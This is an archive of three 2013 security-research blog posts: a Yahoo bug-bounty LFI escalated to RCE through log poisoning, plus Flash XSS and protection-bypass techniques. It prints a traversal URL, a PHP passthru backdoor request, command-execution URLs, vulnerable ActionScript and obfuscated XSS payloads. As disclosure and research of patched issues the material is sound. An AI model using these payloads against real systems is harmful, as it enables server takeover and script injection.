Monthly Archives: October 2013

Yahoo bug bounty program – LFI reported and patched!

Introduction:

Yahoo! bug bounty program is still young and I believe that they have been pushed to do this when they were not ready for it! Many of their web pages had not even been scanned by an automatic commercial scanner when they started running their bounty program and they will definitely lose profit on that. I guess this is the price that they are willing to pay to satisfy their customers. Other high profile companies that still do not care about an appropriate bug bounty program for their websites and their applications should rethink now! Thanks to the available bug bounty programs, the number of bounty hunters is now increased and the power of this community is growing everyday and this will save time and money for any company in the long run.

I remember the time that you could find at least one XSS in less than an hour and a SQLi in a few hours in Yahoo websites (http://www.xssed.com/pagerank). Now their bug bounty program is going to change this situation and the customers who have migrated to Gmail to have more security (I personally did that), may still use their Yahoo account!

However, it is still too early to say anything about Yahoo bug bounty program and we have to wait a few months to see their stable policy. There are security researchers who have reported more than 20 XSS issues to Yahoo now and they are waiting for their rewards! It is very interesting to see how much Yahoo will pay for any particular issue and how they are going to categorize the issues to pay from $150 for low risk issues to $15,000 for high risk issues. More info about Yahoo bug bounty programs from Ramses Martinez -Director, Yahoo Paranoids-: http://yahoodevelopers.tumblr.com/post/62953984019/so-im-the-guy-who-sent-the-t-shirt-out-as-a-thank-you

Now, I am going to share my experience in reporting a critical issue to Yahoo just for future reference (I am not going to talk about the XSS issues that I have reported to them).

LFI gave me RCE on “advertiser.yahoo.com” server!

I found a LFI issue in the following URL (it gives me the 404-error now!):

*
https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../etc/passwd%00us
*

Interestingly, some of the users of this server had already left Yahoo a while ago but their user was still there! But this was not my concern; finding this issue was too easy and minimum skills were needed. However, exploitation was tricky as I could not find the log-files path on these Yahoo FreeBSD servers. I reported the issue to Yahoo at this point but I wanted to prove that this is a highly critical issue. So I searched in Google and by using try and error, I finally managed to find the log-file that I was looking for: “/home/y/logs/yapache/error”. Then, I just had to create an error! I sent a GET request with spaces in the request to cause 400-error-status and log my backdoor inside the log-file:

*
GET /<? passthru($_GET[cmd]) ?> HTTP/1.1
*

And now I could execute any commands on the server:

*
https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../home/y/logs/yapache/error%00us&cmd=cat+/etc/ybiipinfo

https://advertiser.yahoo.com/utils/choosepwd.php?c=../../../../../../../home/y/logs/yapache/error%00us&cmd=ls+-R+/home/y/share/htdocs/*
*

I ran a few commands (no network commands) and looked at the content of some PHP files but as I was not sure if I am allowed to continue, I stopped. Ramses Martinez (Director, Yahoo! Security Team) allowed me later to download the web files in order to find more vulnerabilities but when I looked into it the day after, the issue was fixed and it was too little too late to complete my glory ;) they were quite quick to address this issue as soon as they saw my email at the weekend.

I wish there was a policy that could tell me what I am allowed to do when I have RCE on the server in a bug bounty program. I did not even try to look at the sensitive files that could contain credentials such as database passwords as I was not sure about the legal side of my testing.

Time-Line:

Fri, Oct 4, 2013 at 11:13 PM: Initial report of LFI to Yahoo

Sat, Oct 5, 2013 at 12:47 AM: LFI converted to RCE reported to Yahoo

Sun, Oct 6, 2013 at 6:19 PM: First contact from Yahoo directly from Ramses Martinez

Mon, Oct 7, 2013 at 3:16 AM: I have been informed that this issue plus other XSS issues that I had reported have been patched.

Reward:

Ramses’ response: “Please keep in mind that we announced the program going live on 10/30 and we’re not fully operational. Which means we are still working out a few issues. Until that time our response could vary depending on submissions and workload. Work with me here and I’ll make sure that you are taken care of once the program is in place.”

I will update this section as soon as I get any news from Yahoo. The prize is between $150 to $15K based on the risk rating (impact x likelihood [?]) and I am wondering how much they are going to pay for this LFI to RCE issue.

Catch-up on Flash XSS exploitation Part 2 – “navigateToURL” and “jar:” protocol!

I think I have already proven my interest in using simple vectors to bypass available protections (some examples to support my claim!: IIS Semi-colon issue, IIS Short Filename Scanner, Mozilla Firefox Directory Traversal by using resource protocol, etc). Now, I am going to reveal more secrets and this time in Flash and also Internet Explorer!

XSS attack by using different protocols in “navigateToURL” redirections:

Please note that this section may need to be updated in future as I have not spent enough time researching this subject yet! Therefore, if you have found something relevant or if you know a useful tip, please share it with me too.

We know that “navigateToURL” can lead to a Cross Site Scripting or Open Redirect issue. When I was playing with “navigateToURL” function in AS3, I found an interesting protocol that Flash ignores and it is called “jar:” protocol. I had seen this in Firefox before but never in Flash!

In flash binary file, there are also other protocols listed that can be useful for the research purposes but none of them has the unique feature of “jar:” protocol. Their list is as follows:

rtmp:
rtmpt:
rtmps:
rtmpe:
rtmpte:
mk:@MSITStore:
Ms-its:
vnd.ms.wmhtml:
etc:
ms-help:
hcp:
msencdata:
jar:
rtmpt://
rtmps://
rtmpe://
rtmpte://
rtmfp://
file:////
app:
app-storage:

Some of these protocols are for streaming purposes (such as “rtmps”), some of them are application specific protocols (such as “Ms-its” for IE), and others are generic protocols that we already know about!

jar:” protocol is our invisible friend and a True Warrior!!:

It seems flash ignores “jar:” protocol and it becomes a transparent protocol. In other words, there is no difference between “javascript:alert(1)” and “jar:javascript:alert(1)” in Action Script. I have not yet found any other usage of this protocol (maybe it is vulnerable as well!).

Now if an application uses a blacklist protection to detect “javascript:” or “vbscript:”, it can be easily bypassed!

Here is our vulnerable example code:

	var input:String = root.loaderInfo.parameters.input; // input variable
	var dangerousInput:RegExp = /^\w*script:.*/i; // to cover javascript: and vbscript: protocols!
	if(!dangerousInput.test(input))
	{
		// Safe to go?!!! --> No! What about "jar:javascript:"?
		navigateToURL(new URLRequest(input),"_self"); // redirection
	}

And here is the real example:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:javascript:alert(1);//
*

This Action Script is also vulnerable to XSS by using “data:” protocol in Firefox which I believe is a known issue.

Bypassing local-with-filesystem protection by using “navigateToURL”:

By default, Flash does not allow you to use sensitive protocols such as “File://” or “Ms-its:” in “navigateToURL”. If you try to open “http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\”, you will receive the following error (you can view the errors by using debugger version of Flash Player):

SecurityError: Error #2148: SWF file http://0me.me/demo/xss/flash/link_protocol_test.swf?input=file://c:\ cannot access local resource file://c:\. Only local-with-filesystem and trusted local SWF files may access local resources.
	at global/flash.net::navigateToURL()
	at MethodInfo-1()
	at flash.events::EventDispatcher/dispatchEventFunction()
	at flash.events::EventDispatcher/dispatchEvent()
	at com.powerflasher.SampleApp::link_protocol_test()

As you can see in the error message, only local-with-filesystem should be able to use “File:” protocol.

I found out that it is possible to bypass this protection by using “jar:” protocol followed by a restricted protocol and by playing with slashes and backslashes preceding the restricted protocol. And now it is up to the browsers to protect their users against any possible attack!

I have tested this technique in Google Chrome, Mozilla Firefox, and Internet Explorer and I could not bypass the first two! Which means only Internet Explorer is falling for this bypass method!

Here are some examples of my bypass vectors:

Jar protocol – Opens C drive (note that I use only 1 slash character for the File protocol):

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\
*

Jar protocol – Opens a file in your local C drive:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:file:/c:\windows\Starter.xml
*

Jar protocol – Opens other restricted protocols in IE – example 1:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:shell:cookies
*

Jar protocol – Opens other restricted protocols in IE – example 2:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=jar:mk:@MSITStore:C:\Windows\Help\mui\0409\certmgr.CHM::/html/355962c2-4f6b-4cbd-ab00-6e7ee4dddc16.htm
*

Playing with backslashes without using “jar:” protocol – Opens C drive:

*
http://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\/c:/
*

Now you can open any of these links in an IFrame. I have created a PoC in the following link:
http://0me.me/demo/xss/flash/iframe_link_protocol_test.html

As you can see in the PoC link, it is even possible to identify if an item is available or not! As a result, it is possible to enumerate the local hard-drives (what about the internal network? ;) )

Now the question is: “what can I do by opening a local resource in an IFrame?”. I had some thoughts but I asked the same question in my twitter as well to collect more information. I say thank you to the following people who kindly answered my question: @obnosis, @mall0cat, @dveditz, @AbiusX, @cgvwzq, @superevr, @Milad_Bahari.

These are the things we should be able to do by opening the local file system in an IFrame:

1- Running a dangerous browser readable file (such as html, swf, and so on) that contains malicious scripts to steal more data, execute command, or target the internal network. In order to exploit this issue, you need a vulnerable/malicious file with proper extension (IE should be able to open it) in the target’s machine. This can be an existent file or a file that has been downloaded to the target. However, you may need the user’s interaction (see this old issue: http://forums.cnet.com/7726-6132_102-5480227.html).

2- Hijacking the local sensitive files by using drag-and-drop feature. I should say that I was unable to do this in my PoCs. Maybe I should try harder?!

3- Scanning the local resources.

4- Fingerprinting the users based on their files and directories.

Let’s have some fun! I want to open your CDRom!

I have created a PoC to eject the empty CD/DVD drives in IE (tested in IE10) – just like old Trojans!!!:
http://0me.me/demo/xss/flash/open_cdrom.html

I have used another advisory of mine to enumerate the valid Drive letters and I am opening them one by one in an IFrame!
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)

 

 

Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1

Catch-up on Flash XSS exploitation – bypassing the guardians! – Part 1

I had tweeted a few techniques in exploiting XSS in vulnerable flash files a few months ago. I thought it is a good idea to summarise them here and share it with you. I will try to add more parts to this in future…

Bypassing IE protection/feature against SWF reflected XSS:

It seems only IE as a browser has protections against normal reflected XSS attacks on flash files. For example, if you open the following link in IE10, Javascript won’t have access to the DOM objects:

http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

Instead, it will show you the following error message in the console (press F12 to see it):

The same script is run easily in Firefox (without NoScript) and Google Chrome. Moreover, the other methods that I had invented previously in the following blog post do not work in IE10: “http://soroush.secproject.com/blog/2012/11/xss-by-uploadingincluding-a-swf-file/”.

Now, I have found a workaround to also bypass IE10 protections and run the script:

*
http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'
*

It is based on the following simple fact:

“javascript:x=”echo”” in the URL, will print “echo” on the screen and it can contain HTML tags. Any script will then have access to the objects of the original page.

Flash URLDecode feature that can be used to bypass possible protections and obfuscate the attack:

If you need to send the vectors to a server behind a firewall (flashvars can be sent after the “#” character to be hidden from the server) or to bypass client-side Anti-XSS protections, this method can be very useful.

Flash discards invalid URL encoded values completely:

A) It discards 2 characters if you have an invalid hex character ([^0-9a-fA-F]) immediately after the percentage character. Example: “%X” or “%=”

B) It discards 3 characters if you have a valid hex character after the percentage character followed by an invalid hex character. Example: “%AX” or “%A&”

Note1: During this test, I have observed that sometimes values greater than 127 in ASCII will be converted to a question mark (“?”) character. This happens in URL redirection cases.

Note2: Encoded BOM characters (“%EF%BB%BF”) can also replace the space characters. Example: “alert(1)” can be rewritten as “alert%EF%BB%BF(1)” (http://en.wikipedia.org/wiki/Byte_order_mark)

Exploits can even be more deceptive if you use the following vectors: “%#” or “%A#”. It will not send your complete vector to the server because of the “#” character.

Example:

Original queries:

http://0me.me/demo/xss/xssproject.swf?js=alert(document.domain);

http://0me.me/demo/xss/xssproject.swf?js=location.href='javascript:x="<script>alert(document.domain)</script>"'

New equivalent queries:

http://0me.me/demo/xss/xssproject.swf?%#js=al%A#e%Xrt(docum%A#ent.doma%A#in);

http://0me.me/demo/xss/xssproject.swf?%I%R%S%D%%Ljs=loca%Xtion.hr%Yef='jav%Zascri%AXpt:x="<sc%AYript>ale%AZrt(docu%?ment.dom%/ain)</sc%&ript>"'

As you can see in these examples, a flash based XSS attack can be obfuscated very well!

NoScript was bypassed initially by using this trick but it has been patched since version 2.6.6.8 (http://noscript.net/changelog). Thanks to Giorgio Maone (@ma1).

Next Part

I will try to post more related materials in regards with Flash security. I may divulge some 0days here…, who knows?